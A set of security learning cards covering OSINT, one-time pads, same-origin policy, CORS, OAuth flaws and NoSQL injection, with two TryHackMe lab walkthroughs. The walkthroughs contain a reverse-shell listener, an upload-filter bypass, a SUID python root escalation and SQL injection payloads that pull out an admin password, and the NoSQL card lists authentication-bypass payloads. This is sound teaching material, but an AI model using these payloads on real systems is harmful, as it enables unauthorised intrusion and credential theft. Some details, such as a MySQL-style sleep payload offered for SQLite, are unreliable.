Topic Cards

Open Source Intelligence (OSINT) is the practice of collecting, analyzing, and deriving actionable insights from publicly available information. Unlike classified intelligence, OSINT relies on open data sources—such as media, government records, and academic research—to uncover hidden patterns, support decision-making, and solve complex problems. Its applications span cybersecurity, law enforcement, business intelligence, and threat analysis.

---

Key Points

• OSINT transforms publicly accessible data into valuable intelligence through structured analysis.
• It combines diverse sources—from social media to financial reports—to build a comprehensive understanding of a subject.
• The process involves data collection, cross-referencing, and analysis to validate findings and reveal non-obvious insights.
• Unlike traditional intelligence, OSINT does not require covert methods; it thrives on transparency and accessibility.

---

Data Sources in OSINT

OSINT leverages a broad spectrum of public data. Below are the primary categories and their typical sources:

| Category | Examples | Use Cases | |---------------------------------------|-----------------------------------------------------------------------------|-----------------------------------------------| | Media and Publications | News articles, blogs, social media (Twitter, LinkedIn), podcasts, videos | Tracking trends, sentiment analysis, disinformation detection | | Government and Official Data | Public records, legislative documents, regulatory filings, FOIA releases | Policy analysis, due diligence, compliance checks | | Academic and Professional Research| Peer-reviewed papers, conference proceedings, theses, industry reports | Competitive intelligence, R&D benchmarking | | Commercial and Financial Information | Annual reports, SEC filings, market data, patent databases | Financial risk assessment, M&A due diligence | | Grey Literature and Technical Reports | White papers, preprints, technical manuals, vulnerability disclosures | Cybersecurity threat hunting, product teardowns |

Note: Grey literature (e.g., technical reports, working papers) often contains niche insights not found in traditional publications.

---

Core Techniques

1. Data Collection

Gathering raw data from sources using tools like:

• Web scrapers (BeautifulSoup, Scrapy)
• Search engines (Google Dorks, Shodan, Censys)
• Social media APIs (Twitter API, Facebook Graph API)
• Specialized OSINT tools (Maltego, SpiderFoot, theHarvester)

2. Cross-Referencing

Validating data by comparing multiple sources to:

• Eliminate misinformation or bias.
• Identify inconsistencies (e.g., conflicting financial reports).
• Corroborate timelines (e.g., event dates across news outlets).

3. Analysis

Transforming raw data into intelligence through:

• Pattern recognition (e.g., identifying fraudulent transactions).
• Link analysis (e.g., mapping relationships between entities).
• Sentiment analysis (e.g., gauging public opinion on social media).
• Geospatial analysis (e.g., tracking movement via satellite imagery).

---

Practical Applications

Cybersecurity

• Threat Intelligence: Monitoring dark web forums for leaked credentials or attack plans.
• Vulnerability Research: Analyzing GitHub repositories for exposed API keys or misconfigurations.
• Incident Response: Tracing the origin of a phishing campaign using email headers and domain registration data.

Law Enforcement

• Criminal Investigations: Correlating social media posts with crime scene evidence.
• Counterterrorism: Tracking extremist groups through propaganda and recruitment materials.
• Missing Persons: Aggregating public records (e.g., flight manifests, hotel bookings) to locate individuals.

Business Intelligence

• Competitor Analysis: Scraping job postings to infer a rival’s expansion plans.
• Due Diligence: Verifying a vendor’s financial health via public filings and news reports.
• Brand Monitoring: Detecting counterfeit products using image recognition on e-commerce sites.

---

Common Challenges and Mitigations

| Challenge | Mitigation Strategy | |----------------------------------------|-----------------------------------------------------------------------------------------| | Data Overload | Use filters (e.g., date ranges, keywords) and automation tools to narrow focus. | | Misinformation | Cross-reference with trusted sources and verify through multiple independent channels. | | Legal/Ethical Concerns | Adhere to terms of service, respect privacy laws (e.g., GDPR), and avoid intrusive methods. | | Tool Limitations | Combine multiple tools (e.g., SpiderFoot + Maltego) for comprehensive coverage. |

---

Key Takeaways

• OSINT is a force multiplier: It turns public data into strategic intelligence without relying on classified sources.
• Diversity of sources is critical: Combining media, government, and technical data yields richer insights.
• Analysis > Collection: Raw data is useless without structured interpretation and validation.
• Ethical boundaries matter: Always prioritize legality and transparency in OSINT practices.

---

Learn More

Books

• Open Source Intelligence Techniques by Michael Bazzell (8th Edition)
• The Art of Invisibility by Kevin Mitnick (for privacy-focused OSINT)
• Extreme Privacy by Michael Bazzell (advanced techniques)

Online Courses

• OSINT Fundamentals (Udemy)
• SANS FOR578: Cyber Threat Intelligence (SANS Institute)
• Google Advanced Search Operators (Free)

Tools and Resources

• Frameworks: OSINT Framework (curated tool directory)
• Search Engines: Shodan, Censys
• Communities: OSINT Curious, r/OSINT

Case Studies

• SolarWinds Hack (2020): OSINT revealed supply chain vulnerabilities via public GitHub repositories.
• Russian Troll Farms (2016): Investigators used social media metadata to expose disinformation campaigns.
• COVID-19 Misinformation: Researchers tracked false claims using OSINT tools like Hoaxy and Botometer.

This beginner-friendly Capture The Flag (CTF) challenge guides you through gaining root access to a system by systematically performing reconnaissance, exploitation, and privilege escalation. The RootMe room on TryHackMe provides hands-on practice for identifying vulnerabilities, executing attacks, and escalating privileges in a controlled environment.

---

Key Points

• Reconnaissance: Scan the target to identify open ports and running services.
• Directory Enumeration: Discover hidden directories using tools like gobuster.
• Exploitation: Upload a reverse shell to gain initial access to the system.
• Privilege Escalation: Exploit SUID permissions to escalate privileges to root.

---

Step-by-Step Walkthrough

Reconnaissance: Scanning the Target

Begin by scanning the target IP to identify open ports and services using nmap.

Command:

nmap -sV xx.xx.xxx.xx

Key Findings: | Open Ports | Service | Version | |------------|--------------|-----------------------------| | 22/tcp | SSH | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 | | 80/tcp | HTTP | Apache httpd 2.4.29 |

Note: The HTTP service on port 80 is a common entry point for web-based attacks.

---

Directory Enumeration: Finding Hidden Paths

Use gobuster to enumerate hidden directories on the web server.

Command:

gobuster dir -u xx.xx.xxx.xx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Output:

/uploads              (Status: 301)
/css                  (Status: 301)
/js                   (Status: 301)
/panel                (Status: 301)
/server-status        (Status: 403)

Key Discovery: The /panel/ directory allows file uploads, which can be exploited for initial access.

---

Exploitation: Gaining a Shell

Navigate to http://xx.xx.xxx.xx/panel/ and upload a PHP reverse shell to establish a connection.

Steps:

1. Set up a listener on your attack machine:

   nc -lvnp 4321
   

2. Upload the reverse shell:

   • The server blocks .php files. Use .phtml instead.

3. Verify the shell:

   $ whoami
   www-data
   

4. Locate the user flag:

   find / -name "user.txt" 2>/dev/null
   

   Output:

   /var/www/user.txt
   

   Flag:

   THM{xxx}
   

---

Privilege Escalation: Becoming Root

Identify files with SUID permissions to escalate privileges.

Command:

find / -user root -perm /4000 2>/dev/null

SUID Explained: SUID allows users to execute a file with the permissions of the file owner (often root).

Exploitable File: /usr/bin/python

Escalation Command:

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Verify Root Access:

# whoami
root

Locate the root flag:

find / -name "root.txt" 2>/dev/null

Output:

/root/root.txt

Flag:

THM{xxx}

---

Best Practices for CTF Challenges

• Always enumerate thoroughly: Missed directories or services can lead to dead ends.
• Test file upload restrictions: Bypass filters by altering file extensions (e.g., .phtml instead of .php).
• Check for misconfigurations: SUID binaries are common privilege escalation vectors.
• Document your steps: Keep notes for future reference and write-ups.

---

Learn More

Expand your cybersecurity skills with these resources:

• TryHackMe Rooms: RootMe, OhSINT
• Hack The Box: Starting Point
• Tools:
  • Nmap for network scanning.
  • Gobuster for directory brute-forcing.
  • LinPEAS for privilege escalation checks.
• Concepts:
  • SUID Binaries
  • Reverse Shells

One-Time Pad (OTP) is a cryptographic method that offers theoretically unbreakable encryption when implemented correctly. It relies on a random key of the same length as the plaintext, where each bit of the plaintext is combined with the key using the XOR (⊕) operation to produce the ciphertext. While mathematically secure, OTP faces practical challenges that limit its widespread use.

---

How OTP Works

Core Mechanism

OTP encrypts data by applying the XOR operation between the plaintext and a one-time key:

• The key must be truly random, as long as the plaintext, and never reused.
• Decryption reverses the process: Ciphertext ⊕ Key = Plaintext.

Key Principle: Without the key, the ciphertext reveals no information about the plaintext, ensuring perfect secrecy.

Mathematical Foundation

The security of OTP stems from:

• XOR properties: Each bit of the ciphertext is equally likely to be 0 or 1, regardless of the plaintext.
• Information-theoretic security: Even with infinite computational power, an attacker cannot derive the plaintext without the key.

---

Key Characteristics

Strengths

• Unbreakable encryption: Provably secure if the key is random, secret, and used once.
• Simplicity: Relies on basic bitwise operations (⊕), making it easy to implement in theory.

Limitations

• Key distribution: Securely sharing a key as long as the message is impractical for most applications.
• Key reuse: Reusing a key completely compromises security (e.g., C₁ ⊕ C₂ = P₁ ⊕ P₂).
• Randomness requirements: Generating truly random keys is non-trivial and resource-intensive.

---

Practical Example

Encryption Process

| Plaintext (P) | 1010 1100 | |---------------|-------------| | Key (K) | 0110 1011 | | Ciphertext (C)| 1100 0111 |

Calculation: P ⊕ K = C (e.g., 1 ⊕ 0 = 1, 0 ⊕ 1 = 1).

Decryption Process

C ⊕ K = P restores the original plaintext.

---

Real-World Applications

Historical Use Cases

• Cold War espionage: OTPs were used for secure communication between spies and handlers.
• Diplomatic channels: Governments employed OTPs for high-stakes negotiations where secrecy was critical.

Modern Use Cases

• Military communications: Limited to scenarios where key distribution can be tightly controlled.
• Quantum key distribution (QKD): Emerging technologies aim to generate and distribute OTP keys securely.

Note: OTP is rarely used today due to its impracticality, but it remains a gold standard for theoretical security.

---

Common Misconceptions

• Myth: OTP is "unhackable" in all scenarios. Reality: Security fails if the key is reused, predictable, or intercepted.

• Myth: OTP can be used for long messages easily. Reality: Generating and managing large, random keys is logistically challenging.

---

Key Takeaways

• OTP provides perfect secrecy when implemented with a truly random, one-time key.
• The XOR operation is the backbone of its security, ensuring no patterns leak into the ciphertext.
• Practical challenges (key distribution, randomness, reuse) make OTP unsuitable for most modern applications.
• Used primarily in high-security, low-volume scenarios (e.g., military, diplomacy).

---

Learn More

• Historical Case Studies: Explore how OTPs were used in the Venona Project or Soviet spy networks.
• Modern Alternatives: Compare OTP with AES or post-quantum cryptography for practical security.
• Key Generation: Learn about hardware random number generators (HRNGs) and their role in OTP.
• Shannon’s Proof: Dive into Claude Shannon’s information-theoretic security framework.

The Same-Origin Policy (SOP) is a critical browser security mechanism that restricts how web pages interact with resources from different origins. By enforcing this policy, browsers prevent malicious scripts from accessing sensitive data across unrelated websites, reducing the risk of attacks like Cross-Site Scripting (XSS) and data theft.

SOP works by allowing scripts to interact only with resources from the same origin—defined by the combination of the URI scheme, hostname, and port number. This ensures that a script running on https://example.com cannot read or modify data from https://another-site.com without explicit permission.

---

How SOP Works

What Defines an Origin?

An origin is determined by three components:

| Component | Example | Description | |----------------|------------------|--------------------------------------| | URI Scheme | http, https | The protocol used to access the site | | Hostname | example.com | The domain name of the site | | Port | 80, 443 | The communication endpoint |

Example: https://example.com:443 and http://example.com:80 are considered different origins because their schemes and ports differ.

Script Access Rules

• Scripts can freely access resources from the same origin.
• Scripts cannot access resources from a different origin unless Cross-Origin Resource Sharing (CORS) is enabled.
• This prevents malicious sites from reading cookies, session data, or DOM elements from other sites.

---

Why SOP Matters

Security Benefits

• Prevents XSS attacks: Blocks scripts from one site from injecting malicious code into another.
• Protects user data: Ensures sensitive information (e.g., banking details) remains isolated.
• Enforces isolation: Limits the impact of compromised scripts to their own origin.

Practical Example

Imagine a user logged into https://bank.com. Without SOP, a script from https://malicious-site.com could:

• Read the user’s session cookies.
• Extract account details from the DOM.
• Perform unauthorized transactions.

SOP blocks these interactions, ensuring scripts from malicious-site.com cannot access bank.com’s data.

---

Exceptions and Workarounds

While SOP is strict, developers can bypass it in controlled ways:

| Method | Description | Use Case | |----------------------|-----------------------------------------------------------------------------|-----------------------------------| | CORS | Allows servers to specify which origins can access their resources. | APIs, third-party integrations | | JSONP | Uses <script> tags to fetch data from different origins (legacy method). | Older web applications | | PostMessage API | Enables secure cross-origin communication between windows/iframes. | Embedded widgets, iframes |

Note: CORS is the modern, secure standard for cross-origin requests. Always prefer it over JSONP.

---

Common Misconceptions

• ❌ "SOP blocks all cross-origin requests." ✅ Correction: SOP blocks reading cross-origin data, but not sending requests (e.g., <img>, <script> tags can load resources from other origins).

• ❌ "SOP is the same as CORS." ✅ Correction: CORS is a mechanism to relax SOP for specific cases, while SOP is the default browser policy.

---

Learn More

To deepen your understanding of SOP and related concepts, explore these resources:

• MDN Web Docs: Same-Origin Policy
• OWASP: Cross-Site Scripting (XSS) Prevention
• CORS Guide: How CORS Works
• Browser Security: Web Security Fundamentals

---

OAuth 2.0 is the industry-standard protocol for authorization, enabling secure access to user data without exposing credentials. However, misconfigurations, design flaws, and improper implementations can introduce critical vulnerabilities. Attackers exploit these weaknesses to steal tokens, hijack sessions, or perform unauthorized actions. Understanding these risks is essential for developers, security professionals, and organizations relying on OAuth for authentication and authorization.

---

Key Vulnerabilities in OAuth 2.0

1. Token Leakage

Access tokens grant permissions to resources, making them prime targets for attackers. Leakage occurs through:

• Insecure redirect_uri: Overly permissive or wildcard (*) redirect URIs allow attackers to intercept tokens.
• Improper storage: Tokens stored in browser history, logs, or unencrypted databases can be exposed.
• Man-in-the-middle (MITM) attacks: Tokens transmitted over unencrypted channels (e.g., HTTP) are vulnerable to interception.

Example: A social media app uses redirect_uri=https://*.example.com. An attacker registers malicious.example.com and tricks users into logging in, stealing their tokens.

2. Cross-Site Request Forgery (CSRF)

OAuth flows are susceptible to CSRF if the state parameter is omitted. Attackers craft malicious authorization requests to:

• Trick users into unknowingly granting permissions.
• Link the victim’s account to the attacker’s resource.

Mitigation: Always generate and validate a cryptographically random state parameter to bind the user’s session to the OAuth request.

3. Implicit Grant Risks

The Implicit Grant (deprecated in OAuth 2.1) exposes tokens in URLs, making them vulnerable to:

• Browser history leaks.
• Referer header exposure.
• Network interception (e.g., public Wi-Fi).

OAuth 2.1 Update: The Implicit Grant is replaced by the Authorization Code Flow with PKCE (Proof Key for Code Exchange) to mitigate these risks.

4. Insecure Token Handling

• Long-lived tokens: Tokens with extended expiry increase the window for exploitation.
• Lack of token binding: Tokens not tied to a specific client or user session can be replayed.
• Missing token revocation: Compromised tokens remain valid if revocation mechanisms are absent.

---

OAuth Security Best Practices

1. Redirect URI Validation

| Requirement | Implementation Example | |---------------------------|------------------------------------------------| | Exact matching | redirect_uri=https://app.example.com/callback | | No wildcards | Avoid redirect_uri=https://*.example.com | | HTTPS enforcement | Reject HTTP URIs | | Pre-registration | Whitelist URIs during client registration |

2. Token Security

• Use short-lived tokens: Set access token expiry to minutes (e.g., 5–15 minutes) and refresh tokens to hours.
• Store tokens securely: Use HTTP-only, Secure, and SameSite cookies for web apps; avoid localStorage.
• Bind tokens to clients: Use client_id and aud (audience) claims to prevent token misuse.

3. Flow Selection

| Flow Type | Use Case | Security Notes | |-------------------------------|-----------------------------------|-----------------------------------------| | Authorization Code + PKCE | Web and mobile apps | Recommended for all modern implementations | | Client Credentials | Machine-to-machine communication | No user involvement; tokens are long-lived | | Device Code | Smart TVs, IoT devices | User authenticates via a secondary device |

Avoid: Implicit Grant, Password Grant (deprecated in OAuth 2.1).

4. Additional Protections

• PKCE: Adds a code_challenge and code_verifier to prevent authorization code interception.
• Token Binding: Tie tokens to TLS certificates or client-specific keys.
• Rate Limiting: Throttle token requests to prevent brute-force attacks.
• Logging and Monitoring: Track OAuth flows for anomalies (e.g., repeated failed token requests).

---

Real-World Exploits and Lessons

Case Study: GitHub OAuth Token Theft (2020)

• Vulnerability: A misconfigured redirect_uri allowed attackers to steal tokens via a malicious GitHub OAuth app.
• Impact: Unauthorized access to private repositories and user data.
• Fix: GitHub enforced stricter redirect_uri validation and deprecated Implicit Grant.

Case Study: Facebook "View As" Breach (2018)

• Vulnerability: A flaw in Facebook’s OAuth implementation allowed attackers to generate access tokens for any user.
• Impact: 50 million accounts compromised.
• Lesson: Token generation must be tightly scoped to the requesting client.

---

Key Takeaways

• Validate redirect_uri strictly: Use exact matching and avoid wildcards.
• Always use the state parameter: Prevent CSRF by binding requests to user sessions.
• Adopt OAuth 2.1: Replace Implicit Grant with Authorization Code + PKCE.
• Secure token storage: Use HTTP-only cookies and avoid client-side storage.
• Monitor and log: Detect anomalous OAuth flows (e.g., token reuse, unusual scopes).
• Educate developers: Misconfigurations are the leading cause of OAuth breaches.

---

Learn More

Official Resources

• OAuth 2.0 Security Best Current Practice (IETF)
• OAuth 2.1 Specification
• PKCE for Mobile and Native Apps (IETF)

Tools and Libraries

• OAuth 2.0 Playground (Google)
• Auth0 OAuth 2.0 Debugger
• Spring Security OAuth (Java)

Further Reading

• OWASP OAuth 2.0 Cheat Sheet
• PortSwigger: OAuth 2.0 Authentication Vulnerabilities

Web browsers enforce the Same-Origin Policy (SOP) to prevent malicious websites from accessing resources on other domains. Cross-Origin Resource Sharing (CORS) is a security mechanism that relaxes this restriction in a controlled way. By using HTTP headers, servers can explicitly define which external domains may access their resources, enabling secure cross-domain interactions while mitigating risks.

---

How CORS Works

CORS operates through a handshake between the browser and server. When a web application requests a resource from a different origin, the browser checks the server’s CORS headers to determine whether the request is permitted. If the headers allow the origin, the browser proceeds; otherwise, it blocks the request.

Key Principle: CORS shifts security responsibility from the browser to the server, allowing developers to define granular access policies.

---

Core HTTP Headers in CORS

| Header | Purpose | Example Value | |--------------------------------|---------------------------------------------------------------------------------------------|-----------------------------------| | Access-Control-Allow-Origin | Specifies which origins can access the resource. Use * for public resources or a specific domain. | https://example.com or * | | Access-Control-Allow-Methods | Lists allowed HTTP methods (e.g., GET, POST, PUT). | GET, POST, OPTIONS | | Access-Control-Allow-Headers | Defines which request headers are permitted. | Content-Type, Authorization | | Access-Control-Max-Age | Caches preflight responses to reduce overhead (in seconds). | 86400 (24 hours) | | Access-Control-Allow-Credentials | Allows cookies or authentication headers in cross-origin requests. Requires true and explicit origins. | true |

---

Types of CORS Requests

Simple Requests

Browsers send simple requests without preflight checks if they meet all criteria:

• Use GET, HEAD, or POST methods.
• Only include CORS-safelisted headers (e.g., Accept, Content-Type).
• Content-Type is one of:
  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Example:

GET /api/data HTTP/1.1
Host: api.example.com
Origin: https://client.example.com

Preflight Requests

For "non-simple" requests (e.g., PUT, DELETE, or custom headers), browsers first send an OPTIONS request to verify CORS compliance.

Example Preflight Flow:

1. Browser sends:

   OPTIONS /api/data HTTP/1.1
   Origin: https://client.example.com
   Access-Control-Request-Method: PUT
   Access-Control-Request-Headers: X-Custom-Header
   

2. Server responds with allowed methods/headers:

   HTTP/1.1 204 No Content
   Access-Control-Allow-Origin: https://client.example.com
   Access-Control-Allow-Methods: PUT, POST
   Access-Control-Allow-Headers: X-Custom-Header
   

---

Common Use Cases

• APIs: Securely expose endpoints to third-party clients (e.g., https://api.example.com accessed by https://app.client.com).
• CDNs: Serve static assets (e.g., images, fonts) from a different domain.
• Single Sign-On (SSO): Share authentication tokens across subdomains (e.g., auth.example.com and app.example.com).
• Microservices: Enable communication between services hosted on separate domains.

---

Security Risks and Misconfigurations

Critical Pitfalls

• Wildcard Overuse: Using Access-Control-Allow-Origin: * with credentials (Access-Control-Allow-Credentials: true) exposes sensitive data.

  Fix: Always specify exact origins when credentials are involved.

• Null Origin Abuse: Accepting Origin: null (e.g., from local files or sandboxed iframes) can lead to attacks.

  Fix: Explicitly block null origins or restrict them to trusted contexts.

• Regex Vulnerabilities: Poorly crafted regex for origin validation (e.g., .*\.example\.com) can be bypassed via subdomains like attacker.example.com.

  Fix: Use exact string matching or a whitelist of allowed domains.

• Dynamic Origin Reflection: Echoing the Origin header without validation (e.g., Access-Control-Allow-Origin: $origin) allows any domain to access resources.

  Fix: Validate origins against a predefined list.

---

Best Practices

• Restrict Origins: Use specific domains instead of wildcards for sensitive resources.
• Limit Methods/Headers: Only allow necessary HTTP methods and headers.
• Short Cache Durations: Set Access-Control-Max-Age to a reasonable value (e.g., 5 minutes) to reduce preflight overhead.
• Test Configurations: Use tools like CORS Tester to validate headers.
• Monitor Logs: Audit CORS-related errors in server logs to detect misconfigurations.

---

Debugging CORS Issues

Symptoms:

• Browser console errors like No 'Access-Control-Allow-Origin' header or Preflight response did not succeed.
• Requests blocked despite correct server headers.

Troubleshooting Steps:

1. Verify the Origin header matches the allowed domains.
2. Check for typos in header names (e.g., Access-Control-Allow-Origin vs. Access-Control-AllowOrigins).
3. Ensure the server responds with 200 OK or 204 No Content for preflight requests.
4. Confirm the server supports OPTIONS requests.

---

Learn More

• MDN Web Docs: CORS – Official reference with examples.
• OWASP CORS Cheat Sheet – Security-focused guidelines.
• Google’s CORS Guide – Practical implementation tips.

The Access-Control-Allow-Origin header is a critical security mechanism in web development that controls how resources on a server can be shared with web pages from different origins. It is a core component of Cross-Origin Resource Sharing (CORS), enabling servers to specify which external domains may access their resources while preventing unauthorized cross-origin requests.

---

How It Works

When a web application makes a cross-origin request (e.g., fetching data from api.example.com while hosted on app.example.com), the server responds with the Access-Control-Allow-Origin header to indicate whether the request is permitted. Browsers enforce this policy to protect users from potential security risks like cross-site request forgery (CSRF) or data leaks.

---

Key Configurations

1. Single Origin

Restricts access to one specific domain. This is the most secure option for sensitive resources.

Example:

Access-Control-Allow-Origin: https://trusted-site.com

⚠️ Note: If the request includes credentials (e.g., cookies), the origin must be explicitly specified—wildcards (*) are not allowed.

---

2. Multiple Origins

Allows access from a predefined list of domains. The server must dynamically validate the Origin header against this list.

Example (Server-Side Logic):

const allowedOrigins = ["https://app1.com", "https://app2.com"];
const requestOrigin = req.headers.origin;

if (allowedOrigins.includes(requestOrigin)) {
  res.setHeader("Access-Control-Allow-Origin", requestOrigin);
}

---

3. Wildcard Origin (*)

Permits requests from any origin. Use this only for public resources (e.g., open APIs) where security is not a concern.

Example:

Access-Control-Allow-Origin: *

❌ Avoid using wildcards with credentials or sensitive data. Browsers will reject such configurations.

---

4. Credentials and CORS

To allow requests with credentials (e.g., cookies, HTTP authentication), you must:

1. Explicitly specify the origin (no wildcards).
2. Set Access-Control-Allow-Credentials: true.

Example:

Access-Control-Allow-Origin: https://secure-app.com
Access-Control-Allow-Credentials: true

---

Common Pitfalls and Best Practices

| Scenario | Risk | Solution | |------------------------------|-------------------------------|--------------------------------------------------------------------------| | Wildcard (*) + Credentials | Browser blocks the request | Always specify exact origins when using credentials. | | Dynamic Origins | Security misconfigurations | Validate origins server-side (never trust client input). | | Missing Preflight Checks | Incompatible with complex requests | Ensure OPTIONS requests are handled for non-simple requests (e.g., PUT, DELETE). |

---

When to Use Each Configuration

| Use Case | Recommended Configuration | |-----------------------------------|-----------------------------------------| | Public API (no auth) | Access-Control-Allow-Origin: * | | Single trusted frontend | Access-Control-Allow-Origin: https://app.com | | Multiple trusted frontends | Dynamic origin validation | | Authenticated requests | Explicit origin + Access-Control-Allow-Credentials: true |

---

Learn More

• MDN Web Docs: CORS – Official documentation with detailed examples.
• OWASP CORS Cheat Sheet – Security-focused best practices.
• CORS Explained (with Diagrams) – Visual guide to CORS workflows.

SQL injection is a critical web vulnerability that allows attackers to interfere with database queries, potentially exposing or manipulating sensitive data. In this TryHackMe challenge, you'll explore how to identify and exploit SQL injection flaws in a lightweight SQLite-based application, gaining hands-on experience with real-world attack techniques and database security concepts.

---

Key Concepts

• SQL Injection (SQLi): A code injection attack where malicious SQL statements are inserted into input fields to manipulate database queries.
• SQLite: A self-contained, serverless database engine commonly used in embedded systems and CTF challenges.
• Payload Crafting: The process of testing and refining input strings to bypass security filters and extract data.
• Database Enumeration: Extracting schema information, table structures, and sensitive data through carefully constructed queries.

---

Getting Started

Connecting to the Application

The challenge provides a network service you can interact with using netcat (nc). Begin by establishing a connection:

nc xx.xx.xxx.xx 1337

Note: Replace xx.xx.xxx.xx with the actual IP address provided in the TryHackMe room.

Use the default username smokey to initiate the interaction.

---

Identifying SQL Injection Vulnerabilities

Initial Testing

Start by testing for basic SQLi by submitting a single quote ('):

nc xx.xx.xxx.xx 1337
# Input: '

Expected Error:

Error: unrecognized token: "''' LIMIT 30"

This error confirms the application is vulnerable to SQL injection, as the input is being interpreted as part of the SQL query.

---

Bypassing Input Filters

Testing Common Payloads

The application may block certain keywords. Test these payloads to identify restrictions:

| Payload | Expected Response | Filter Status | |-----------------------------|---------------------------------------|---------------------| | smokey' OR '1'='1' -- | "Input not allowed" | Blocked | | UNION | "Username not found" | Partially blocked | | SELECT | "Input not allowed" | Blocked |

Case-Sensitive Bypass

Try capitalizing SQL keywords to evade filters:

nc xx.xx.xxx.xx 1337
# Input: Union

Response:

Username not found.

This suggests the filter is case-sensitive. Experiment with mixed-case payloads (e.g., uNiOn) for better results.

---

Exploiting the Vulnerability

Enumerating Database Information

Checking the Database Version

Confirm the database type and version using:

smokey' Union Select sqlite_version() --

Output:

3.31.1

This verifies the application uses SQLite 3.31.1.

Extracting the Database Schema

Retrieve the structure of all tables with:

smokey' Union Select sql FROM sqlite_master --

Output:

CREATE TABLE admintable (
    id INTEGER PRIMARY KEY,
    username TEXT,
    password INTEGER
)

Key Insight: The admintable contains usernames (TEXT) and passwords (INTEGER). Note that passwords are stored as integers, which may indicate a hashing or encoding scheme.

---

Extracting Sensitive Data

Retrieving Usernames

List all usernames in the admintable:

smokey' Union Select username FROM admintable --

Output:

TryHackMeAdmin

Retrieving Passwords

Extract the password for a specific user:

smokey' Union Select password FROM admintable WHERE username='TryHackMeAdmin' --

Output:

vYQ5ngPpw8AdUmL

Warning: The password appears to be a hashed or encoded value. Further analysis (e.g., hash cracking) may be required to decode it.

---

Advanced Techniques

Automating Exploitation

For efficiency, use tools like sqlmap to automate SQLi attacks:

sqlmap -u "http://xx.xx.xxx.xx:1337" --data="username=smokey" --dbs

Note: Replace the URL and parameters with the actual target details. Always ensure you have permission to test the target.

Blind SQL Injection

If error messages are suppressed, use time-based or boolean-based blind SQLi techniques to infer data:

smokey' AND IF(1=1, SLEEP(5), 0) --

---

Mitigation Strategies

Protect applications from SQL injection by implementing these best practices:

| Technique | Description | |-------------------------|-----------------------------------------------------------------------------| | Prepared Statements | Use parameterized queries to separate SQL code from data. | | Input Validation | Restrict input to expected formats (e.g., alphanumeric usernames). | | Least Privilege | Limit database user permissions to only necessary operations. | | Web Application Firewall (WAF) | Deploy a WAF to filter malicious SQLi payloads. | | Regular Audits | Conduct security testing (e.g., penetration tests) to identify vulnerabilities. |

Example of a Prepared Statement (Python):

cursor.execute("SELECT * FROM admintable WHERE username = %s", (user_input,))

---

Learn More

Expand your knowledge with these resources:

• TryHackMe Rooms:
  • SQL Injection
  • OWASP Top 10
• Tools:
  • sqlmap (Automated SQLi exploitation)
  • Burp Suite (Manual testing)
• Documentation:
  • OWASP SQL Injection Prevention Cheat Sheet
  • SQLite Documentation

---

NoSQL injection is a security vulnerability that occurs when attackers manipulate database queries by injecting malicious NoSQL syntax into unvalidated user input. Unlike traditional SQL injection, NoSQL injection exploits database-specific operators and query structures to bypass authentication, extract sensitive data, or execute unauthorized commands. This threat is particularly prevalent in modern web applications using NoSQL databases like MongoDB, CouchDB, or Redis.

---

How NoSQL Injection Works

NoSQL injection attacks exploit weak input validation in applications that dynamically construct database queries. Attackers craft inputs containing NoSQL operators to alter query logic, often targeting authentication systems or data retrieval mechanisms.

Common Attack Vectors

| Attack Type | Example Operator | Impact | |----------------------|------------------|---------------------------------| | Authentication Bypass| $ne, $gt | Unauthorized access to accounts | | Data Extraction | $regex, $where| Exposure of sensitive records | | Query Manipulation | $or, $and | Altered application logic |

---

Key Exploitation Techniques

1. Authentication Bypass

Attackers exploit weak login systems by submitting payloads that force the database to return valid user records regardless of credentials.

Critical Example: Input: {"username": {"$ne": ""}, "password": {"$ne": ""}} Effect: Returns the first user document in the collection, bypassing authentication entirely.

2. Blind Injection

When error messages are suppressed, attackers use timing-based or boolean-based techniques to infer data:

• Boolean: {"username": {"$regex": "^a"}} (checks if any username starts with "a")
• Timing: {"$where": "sleep(5000)"} (delays response to confirm injection)

3. Operator Abuse

NoSQL-specific operators enable sophisticated attacks:

// Exploiting $regex for data enumeration
{"email": {"$regex": ".*@example.com$"}}

// Using $where for arbitrary JavaScript execution
{"$where": "this.creditcard.length > 0"}

---

Real-World Impact

Case Study: MongoDB Authentication Bypass

In 2016, a critical vulnerability in a popular CMS allowed attackers to bypass authentication using:

{"username": {"$gt": ""}, "password": {"$gt": ""}}

This simple payload granted administrative access to thousands of websites.

Data Breach Statistics

| Year | Incident Type | Records Exposed | Root Cause | |------|------------------------|-----------------|---------------------| | 2020 | E-commerce Breach | 2.5M | NoSQL Injection | | 2019 | Healthcare Data Leak | 1.2M | Unvalidated Queries |

---

Prevention Strategies

Secure Coding Practices

1. Input Validation

   • Whitelist allowed characters for each field
   • Reject inputs containing special operators ($, {, })

2. Parameterized Queries

   // Secure MongoDB example
   db.collection('users').find({
     username: userInput,
     password: passInput
   });
   

3. Operator Restrictions

   • Disable dangerous operators in production ($where, $eval)
   • Implement query allowlists

Defense-in-Depth Measures

• Database Configuration:

  • Enable authentication and role-based access control
  • Disable server-side JavaScript execution

• Application Layer:

  • Implement rate limiting for authentication attempts
  • Use Web Application Firewalls (WAFs) with NoSQL injection rules

---

Detection and Testing

Manual Testing Techniques

1. Operator Injection: Submit {"username": {"$ne": "test"}} and observe behavior

2. Error-Based Testing: Use malformed inputs like {"username": {"$invalid": 1}} to trigger errors

3. Time-Based Testing: Test with {"$where": "sleep(1000)"} to detect delays

Automated Tools

| Tool | Purpose | Key Feature | |--------------------|----------------------------------|---------------------------------| | NoSQLMap | NoSQL injection testing | MongoDB/CouchDB exploitation | | Burp Suite | Web vulnerability scanning | NoSQL injection detection | | OWASP ZAP | Security testing | Automated injection tests |

---

Key Takeaways

Critical Prevention Rule: "Never trust user input - validate, sanitize, and parameterize every database query."

• NoSQL injection exploits query language syntax, not just SQL-like structures
• Authentication systems are the most common attack target
• Blind techniques enable data extraction even without error messages
• Parameterized queries are the most effective defense
• Database hardening (disabling dangerous features) reduces attack surface

---

Learn More

Advanced Topics

• NoSQL Injection in GraphQL: Exploiting nested query structures
• Server-Side JavaScript Injection: Abusing $where and eval() in MongoDB
• NoSQL in Microservices: Injection risks in polyglot persistence environments

Recommended Resources

1. OWASP Testing Guide: NoSQL Injection Testing
2. MongoDB Security: Official Hardening Guide
3. PortSwigger Academy: NoSQL Injection Labs
